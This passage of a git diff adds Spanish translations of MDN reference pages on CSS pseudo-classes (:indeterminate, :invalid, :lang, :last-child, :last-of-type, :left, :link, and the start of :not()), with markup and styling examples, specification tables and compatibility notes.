+ <li>Elementos <code><a href="/es/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>, cuando todos los radio buttons con el mismo valor <code>name</code> en el formulario no están marcados</li>
+ <li>Elementos {{HTMLElement("progress")}} en un estado indeterminado</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Checkbox_y_radio_button">Checkbox y radio button</h3>
+
+<p>Este ejemplo aplica estilos especiales a las etiquetas asociadas con campos de formulario indeterminados.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;input type="checkbox" id="checkbox"&gt;
+  &lt;label for="checkbox"&gt;Esta etiqueta comienza con el color lima.&lt;/label&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;input type="radio" id="radio"&gt;
+  &lt;label for="radio"&gt;Esta etiqueta comienza con el color lima.&lt;/label&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">input:indeterminate + label {
+  background: lime;
+}
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var inputs = document.getElementsByTagName("input");
+
+for (var i = 0; i &lt; inputs.length; i++) {
+  inputs[i].indeterminate = true;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Checkbox_y_radio_button', 'auto', 50)}}</p>
+
+<h3 id="Barra_de_progreso">Barra de progreso</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;progress&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">progress {
+  margin: 4px;
+}
+
+progress:indeterminate {
+  opacity: 0.5;
+  background-color: lightgray;
+  box-shadow: 0 0 2px 1px red;
+}
+</pre>
+
+<h3 id="Resultado_2">Resultado</h3>
+
+<p>{{EmbedLiveSample('Barra_de_progreso', 'auto', 30)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica de HTML y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Define la pseudo-clase, pero no la semántica asociada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.indeterminate")}}</p>
+</div>
diff --git a/files/es/web/css/_colon_invalid/index.html b/files/es/web/css/_colon_invalid/index.html
new file mode 100644
index 0000000000..a357717a25
--- /dev/null
+++ b/files/es/web/css/_colon_invalid/index.html
@@ -0,0 +1,149 @@
+---
+title: ':invalid'
+slug: 'Web/CSS/:invalid'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:invalid'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:invalid</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa cualquier elemento {{HTMLElement("input")}} u otro elemento {{HTMLElement("form")}} cuyos contenidos no se puedan <a href="/es/docs/Web/Guide/HTML/HTML5/Constraint_validation">validar</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;input&gt; no válido */
+input:invalid {
+  background-color: pink;
+}</pre>
+
+<p>Esta pseudo-clase es útil para resaltar errores de campo para el usuario.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo presenta una forma simple que colorea los elementos en verde cuando son validos y en rojo cuando no lo son.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="url_input"&gt;Ingresa una URL:&lt;/label&gt;
+  &lt;input type="url" id="url_input" /&gt;
+  &lt;br /&gt;
+  &lt;br /&gt;
+  &lt;label for="email_input"&gt;Introduzca una dirección de correo electrónico:&lt;/label&gt;
+  &lt;input type="email" id="email_input" required/&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}
+
+input:required:invalid {
+  border-color: #C00000;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 600, 150)}}</p>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>El color rojo se usa comúnmente para indicar una entrada no válida. Las personas que tienen ciertos tipos de daltonismo no podrán determinar el estado de la entrada a menos que vaya acompañado de un indicador adicional que no dependa del color para transmitir el significado. Normalmente, se utilizan texto descriptivo y / o un icono.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Comprensión de las WCAG, explicaciones de la Guía 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-without-color.html">Comprender el Criterio de Conformidad 1.4.1 | W3C Comprender WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Notas">Notas</h2>
+
+<h3 id="Radio_buttons">Radio buttons</h3>
+
+<p>Si alguno de los radio buttons en un grupo es <code>required</code>, la pseudo-clase <code>:invalid</code> se aplica a todos ellos si no se selecciona ninguno de los botones del grupo. (Los radio buttons agrupados comparten el mismo valor para su atributo <code>name</code>).</p>
+
+<h3 id="Gecko_por_defecto">Gecko por defecto</h3>
+
+<p>Por defecto, Gecko no aplica un estilo a la pseudo-clase <code>:invalid</code>. Sin embargo, sí aplica un estilo (un "resplandor" rojo que usa la propiedad {{Cssxref("box-shadow")}}) a la pseudoclase {{cssxref(":-moz-ui-invalid")}}, que se aplica en un subconjunto de casos para: <code>:invalid</code>.</p>
+
+<p>Puede inhabilitar el brillo con el siguiente CSS o anularlo por completo para modificar la apariencia de los campos no válidos:</p>
+
+<pre class="brush: css">:invalid {
+  box-shadow: none;
+}
+
+:-moz-submit-invalid {
+  box-shadow: none;
+}
+
+:-moz-ui-invalid {
+  box-shadow: none;
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-invalid', ':invalid')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-invalid', ':invalid')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Define la semántica de HTML y la validación de restricciones.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#validity-pseudos', ':invalid')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.invalid")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otras pseudo-clases relacionadas con la validación: {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":valid") }}</li>
+ <li>Pseudo-clases relacionadas de Mozilla: {{cssxref(":-moz-ui-invalid")}}, {{cssxref(":-moz-submit-invalid")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos de formulario</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_lang/index.html b/files/es/web/css/_colon_lang/index.html
new file mode 100644
index 0000000000..46bfc7609e
--- /dev/null
+++ b/files/es/web/css/_colon_lang/index.html
@@ -0,0 +1,101 @@
+---
+title: ':lang'
+slug: 'Web/CSS/:lang'
+tags:
+  - CSS
+  - Pseudo-clase
+  - Web
+translation_of: 'Web/CSS/:lang'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:lang()</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> es utilizada para modificar elementos en función del idioma en el que se determina que están.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;p&gt; en inglés (en) */
+p:lang(en) {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> En HTML, el lenguaje está determinado por una combinación del atributo {{htmlattrxref("lang")}}, el elemento {{HTMLElement("meta")}} y posiblemente por la información del protocolo (como los encabezados HTTP). Para otros tipos de documentos, puede haber otros métodos de documentos para determinar el idioma.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Parámetro">Parámetro</h3>
+
+<dl>
+ <dt><code>&lt;language-code&gt;</code></dt>
+ <dd>Un {{cssxref("&lt;string&gt;")}} que representa el idioma que desea orientar. Los valores aceptables se especifican en las especificaciones <a href="/es/docs/Web/HTML">HTML</a>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo, la pseudo-clase <code>:lang()</code> se usa para hacer coincidir los elementos primarios de los elementos de cita ({{htmlElement("q")}}) utilizando <a href="/es/docs/Web/CSS/Child_selectors">selectores de hijo</a>. Tenga en cuenta que esto no ilustra la única manera de hacerlo, y que el mejor método para usar depende del tipo de documento. También tenga en cuenta que los valores de {{glossary("Unicode")}} se utilizan para especificar algunos de los caracteres de comillas especiales.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div lang="en"&gt;&lt;q&gt;Esta cita en inglés tiene una cita &lt;q&gt;anidada&lt;/q&gt; adentro.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="fr"&gt;&lt;q&gt;Esta cita en francés tiene una cita &lt;q&gt;anidada&lt;/q&gt; adentro.&lt;/q&gt;&lt;/div&gt;
+&lt;div lang="de"&gt;&lt;q&gt;Esta cita en aleman tiene una cita &lt;q&gt;anidada&lt;/q&gt; adentro.&lt;/q&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:lang(en) &gt; q { quotes: '\201C' '\201D' '\2018' '\2019'; }
+:lang(fr) &gt; q { quotes: '« ' ' »'; }
+:lang(de) &gt; q { quotes: '»' '«' '\2039' '\203A'; }
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplo', 350)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Ningún cambio significativo.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#lang', ':lang()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.lang")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Pseudo-clases relacionadas con el lenguaje: {{cssxref(":lang")}}, {{cssxref(":dir")}}</li>
+ <li>Atributo HTML {{htmlattrxref("lang")}}</li>
+ <li><a class="external" href="https://tools.ietf.org/html/bcp47">BCP 47 - Etiquetas para identificar idiomas</a></li>
+</ul>
diff --git a/files/es/web/css/_colon_last-child/index.html b/files/es/web/css/_colon_last-child/index.html
new file mode 100644
index 0000000000..309a8b4b38
--- /dev/null
+++ b/files/es/web/css/_colon_last-child/index.html
@@ -0,0 +1,127 @@
+---
+title: ':last-child'
+slug: 'Web/CSS/:last-child'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:last-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:last-child</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa el último elemento entre un grupo de elementos hermanos.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;p&gt; que sea el último elemento
+   entre sus hermanos */
+p:last-child {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;Este texto no está seleccionado.&lt;/p&gt;
+  &lt;p&gt;¡Este texto está seleccionado!&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;p&gt;Este texto no está seleccionado.&lt;/p&gt;
+  &lt;h2&gt;Este texto no está seleccionado: no es un `p`.&lt;/h2&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:last-child {
+  color: lime;
+  background-color: black;
+  padding: 5px;
+}
+</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p><span>{{EmbedLiveSample('Ejemplo_básico', 500, 200)}}</span></p>
+
+<h3 id="Diseñando_una_lista">Diseñando una lista</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Artículo 1&lt;/li&gt;
+  &lt;li&gt;Artículo 2&lt;/li&gt;
+  &lt;li&gt;Artículo 3
+    &lt;ul&gt;
+      &lt;li&gt;Artículo 3.1&lt;/li&gt;
+      &lt;li&gt;Artículo 3.2&lt;/li&gt;
+      &lt;li&gt;Artículo 3.3&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">ul li {
+  color: blue;
+}
+
+ul li:last-child {
+  border: 1px solid red;
+  color: red;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Diseñando_una_lista')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.last-child")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":last-of-type")}}, {{cssxref(":first-child")}}, {{cssxref(":nth-child")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_last-of-type/index.html b/files/es/web/css/_colon_last-of-type/index.html
new file mode 100644
index 0000000000..3058cd668f
--- /dev/null
+++ b/files/es/web/css/_colon_last-of-type/index.html
@@ -0,0 +1,113 @@
+---
+title: ':last-of-type'
+slug: 'Web/CSS/:last-of-type'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-class</a> <strong><code>:last-of-type</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa el último elemento de su tipo entre un grupo de elementos hermanos.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;p&gt; que sea el último elemento
+   de su tipo entre sus hermanos */
+p:last-of-type {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Como se definió originalmente, el elemento seleccionado tenía que tener un padre. Comenzando con el Nivel 4 de Selectores, esto ya no es necesario.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Diseñando_el_último_párrafo">Diseñando el último párrafo</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Título&lt;/h2&gt;
+&lt;p&gt;Párrafo 1&lt;/p&gt;
+&lt;p&gt;Párrafo 2&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p:last-of-type {
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Diseñando_el_último_párrafo')}}</p>
+
+<h3 id="Elementos_anidados">Elementos anidados</h3>
+
+<p>Este ejemplo muestra cómo los elementos anidados también pueden utilizarse. Tenga en cuenta que el <a href="/es/docs/Web/CSS/Universal_selectors">selector universal</a> (<code>*</code>) está implícito cuando no se escribe un selector simple.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div&gt;Este `div` es primero.&lt;/div&gt;
+  &lt;div&gt;¡Este &lt;span&gt;'span' anidado es el último&lt;/span&gt;!&lt;/div&gt;
+  &lt;div&gt;¡Este &lt;em&gt;`em` anidado es el primero&lt;/em&gt;, pero este &lt;em&gt;`em` anidado es el último&lt;/em&gt;!&lt;/div&gt;
+  &lt;b&gt;¡Este `b` califica!&lt;/b&gt;
+  &lt;div&gt;¡Este es el 'div' final!&lt;/div&gt;
+&lt;/article&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">article :last-of-type {
+  background-color: pink;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Elementos_anidados', 500)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Los elementos coincidentes no requieren tener un padre.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.last-of-type")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref(":last-child")}}, {{Cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/es/web/css/_colon_left/index.html b/files/es/web/css/_colon_left/index.html
new file mode 100644
index 0000000000..33a66ad6d3
--- /dev/null
+++ b/files/es/web/css/_colon_left/index.html
@@ -0,0 +1,80 @@
+---
+title: ':left'
+slug: 'Web/CSS/:left'
+tags:
+  - '@page'
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:left'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>La <strong><code>:left</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-clase</a>, <span class="tlid-translation translation" lang="es"><span title="">utilizada con la regla @page at, representa todas las páginas de la izquierda de un documento impreso.</span></span></p>
+
+<pre class="brush: css no-line-numbers">/* Selects any left-hand pages when printing */
+@page :left {
+  margin: 2in 3in;
+}</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">La dirección principal de escritura del documento determina si una página es "izquierda" o "derecha".</span> <span title="">Por ejemplo, si la primera página tiene una dirección de escritura principal de izquierda a derecha, entonces será una página :right (derecha);</span> <span title="">si tiene una dirección de escritura importante de derecha a izquierda, será una página :left (izquierda).</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="es"><span title="">Nota: Esta pseudoclase se puede usar para cambiar solo las propiedades margin, padding, border y background del cuadro de página.</span> <span title="">Se ignorarán todas las demás propiedades y solo se verá afectado el cuadro de página, no el contenido del documento en la página.</span></span></p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis </h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">@page :left {
+  margin: 2in 3in;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Paged Media', '#left-right-first', ':left') }}</td>
+   <td>{{ Spec2('CSS3 Paged Media') }}</td>
+   <td>Sin Cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'page.html#page-selectors', ':left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>
+    <p>Definición Inicial.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+
+
+<p>{{Compat("css.selectors.left")}}</p>
+
+
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{ Cssxref("@page") }}</li>
+ <li>Otras pseudo-clases relacionadas con la página: {{ Cssxref(":first") }}, {{ Cssxref(":right") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_link/index.html b/files/es/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..7859239d9e
--- /dev/null
+++ b/files/es/web/css/_colon_link/index.html
@@ -0,0 +1,105 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-clase
+  - Referencia
+  - Web
+translation_of: 'Web/CSS/:link'
+---
+<div>{{ CSSRef }}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudo-clase</a> <strong><code>:link</code></strong> <a href="/es/docs/Web/CSS">CSS</a> representa un elemento que aún no se ha visitado. Coincide con cada elemento no visitado {{HTMLElement("a")}}, {{HTMLElement("area")}}, o {{HTMLElement("link")}} que tiene un atributo <code>href</code>.</p>
+
+<pre class="brush: css no-line-numbers">/* Selecciona cualquier &lt;a&gt; que aún no se haya visitado */
+a:link {
+  color: red;
+}</pre>
+
+<p>Los estilos definidos por la pseudo-clase <code>:link</code> serán anulados por cualquier pseudo-clase posterior relacionada con el enlace ({{cssxref(":active")}}, {{cssxref(":hover")}}, o {{cssxref(":visited")}}) que tenga al menos la misma especificidad. Para darle un estilo apropiado a los enlaces, coloque la regla <code>:link</code> antes de todas las demás reglas relacionadas con el enlace, tal como lo define el <em>orden LVHA</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Use {{cssxref(":any-link")}} para seleccionar un elemento independientemente de si ha sido visitado o no.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Por defecto, la mayoría de los navegadores aplican un valor especial {{cssxref("color")}} a los enlaces visitados. Por lo tanto, los enlaces de este ejemplo probablemente tendrán colores de fuente especiales solo antes de visitarlos. (Después de eso, deberá borrar el historial de su navegador para volver a verlos). Sin embargo, es probable que los valores de {{cssxref("background-color")}} permanezcan, ya que la mayoría de los navegadores no establecen esa propiedad en los enlaces visitados de forma predeterminada.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#ordinary-target"&gt;Este es un enlace ordinario.&lt;/a&gt;&lt;br&gt;
+&lt;a href=""&gt;Ya has visitado este enlace.&lt;/a&gt;&lt;br&gt;
+&lt;a&gt;Enlace de marcador de posición (no se personalizará)&lt;/a&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:link {
+  background-color: gold;
+  color: green;
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Ejemplos")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#link', ':link') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Ningún cambio.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Elevar la restricción para aplicarla únicamente al elemento {{ HTMLElement("a") }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.link")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Pseudo-clases relacionadas con enlaces: {{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li>
+</ul>
diff --git a/files/es/web/css/_colon_not()/index.html b/files/es/web/css/_colon_not()/index.html
new file mode 100644
index 0000000000..5182d83d77
--- /dev/null
+++ b/files/es/web/css/_colon_not()/index.html
@@ -0,0 +1,112 @@
+---
+title: ':not()'
+slug: 'Web/CSS/:not()'
+tags:
+  - CSS
+  - Diseño
+  - Referencia
+  - Web
+  - pseudoclase
+translation_of: 'Web/CSS/:not'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/es/docs/Web/CSS/Pseudo-classes">pseudoclase</a> <strong><code>:not()</code></strong> de <a href="/es/docs/Web/CSS">CSS</a> representa elementos que no coinciden con una lista de selectores. Como evita que se seleccionen elementos específicos, se lo conoce como la <em>pseudoclase de negación</em>.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selecciona cualquier elemento que NO sea un párrafo */
+:not(p) {
+  color: blue;
+}</pre>
+
+<div class="note">
+<p><strong>Notas:</strong></p>
+
